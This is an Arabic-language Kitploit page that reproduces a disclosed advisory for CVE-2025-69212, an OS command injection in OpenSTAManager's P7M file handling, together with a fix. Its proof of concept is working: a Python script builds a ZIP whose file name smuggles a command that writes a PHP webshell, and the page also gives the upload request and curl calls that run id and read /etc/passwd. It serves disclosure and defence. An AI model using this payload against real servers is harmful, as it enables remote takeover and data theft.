Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-69212 — CVE-2025-69212 - يحتوي OpenSTAManager على ثغرة حقن أوامر نظام التشغيل في معالجة ملفات P7M | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2025-69212
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةتطوير الحمولات
GitHublukasz-rybak/cve-2025-69212

CVE-2025-69212

CVE-2025-69212 - يحتوي OpenSTAManager على ثغرة حقن أوامر نظام التشغيل في معالجة ملفات P7M

عرض المستودع
4منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-69212: OpenSTAManager يحتوي على ثغرة حقن أوامر نظام التشغيل (OS Command Injection) في معالجة ملفات P7M

نظرة عامة

الحقلالتفاصيل
معرّف CVECVE-2025-69212
الخطورةCRITICAL
الاستشارة الأمنيةعرض الاستشارة
اكتشفهاLukasz Rybak

المنتجات المتأثرة

  • devcode-it/openstamanager (الإصدارات: <= 2.9.8)

تصنيف CWE

  • CWE-78: عدم تحييد العناصر الخاصة المستخدمة في أمر نظام التشغيل بشكل صحيح ('حقن أوامر نظام التشغيل')

التفاصيل

الملخص

توجد ثغرة حرجة من نوع حقن أوامر نظام التشغيل (OS Command Injection) في وظيفة فك ترميز ملفات P7M (XML الموقّع). يمكن لمهاجم مُوثَّق رفع ملف ZIP يحتوي على ملف .p7m باسم ملف خبيث لتنفيذ أوامر نظام تعسفية على الخادم.

الكود القابل للاستغلال

الملف: src/Util/XML.php:100

root@kitploit:~
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

المشكلة:

  • يتم تمرير المعامل $file مباشرة إلى exec() دون أي تعقيم
  • على الرغم من احتواء الاسم بين علامتي اقتباس مزدوجتين، يمكن للمهاجم الهروب منهما
  • اسم الملف يأتي من أرشيفات ZIP التي تم رفعها (يُتحكم فيه من قِبل المستخدم)

ناقل الهجوم

نقاط الدخول:

  1. plugins/importFE_ZIP/actions.php:126 (عند تفعيل الاستيراد التلقائي)

    root@kitploit:~
    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56 (دالة البناء)

    root@kitploit:~
    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name from user input!
    

تسلسل الهجوم:

  1. ينشئ المهاجم ملف ZIP باسم ملف خبيث
  2. يرفع ملف ZIP عبر إضافة importFE_ZIP
  3. يقوم التطبيق بفك ضغط ZIP ويتنقل بين الملفات
  4. بالنسبة لملفات .p7m، يتم استدعاء decodeP7M()
  5. يتم حقن اسم الملف الخبيث في أمر exec()
  6. يتم تنفيذ الأمر التعسفي بصلاحيات مستخدم خادم الويب

إثبات المفهوم

⚠️ ملاحظة مهمة: تقوم الدالة ZipArchive::extractTo() في PHP بتقسيم أسماء الملفات عند الحرف /. يجب ألّا يحتوي الحمّل (Payload) على / في الأوامر. استخدم cd directory && command بدلاً من المسارات المطلقة.

الخطوة 1: إنشاء ملف ZIP خبيث

root@kitploit:~
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

الخطوة 2: رفع ملف ZIP

root@kitploit:~
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
image image

الخطوة 3: نتيجة الاستغلال

الاستجابة (خطأ 500 متوقّع - يفشل تحليل XML بعد تنفيذ الأمر):

root@kitploit:~
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

التحقق - تم إنشاء الوب شيل (Webshell):

image

الخطوة 4: تنفيذ التعليمات البرمجية عن بُعد

الوب شيل متاح للجميع دون مصادقة:

root@kitploit:~
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
image

الأثر

  • تنفيذ التعليمات البرمجية عن بُعد (RCE): اختراق كامل للخادم
  • سرقة البيانات: الوصول إلى جميع بيانات التطبيق وقاعدة البيانات
  • تصعيد الامتيازات: احتمال تصعيد الصلاحيات إذا كان خادم الويب يعمل بصلاحيات مرتفعة
  • الاستمرارية: تثبيت أبواب خلفية والحفاظ على الوصول
  • الحركة الجانبية: الانتقال إلى أنظمة أخرى على الشبكة

المتطلبات الأساسية

  • مستخدم مُوثَّق لديه صلاحية الوصول إلى وظيفة استيراد الفواتير

المعالجة

تعقيم المدخلات

root@kitploit:~
public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

أو

التحقق من اسم الملف قبل المعالجة

root@kitploit:~
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

الفضل

اكتشفها: Łukasz Rybak

المراجع

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212
  • https://github.com/advisories/GHSA-25fp-8w8p-mx36

إخلاء المسؤولية

تم الكشف عن هذا CVE بشكل مسؤول وفقًا لممارسات الإفصاح المنسّق عن الثغرات. المعلومات الواردة هنا لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة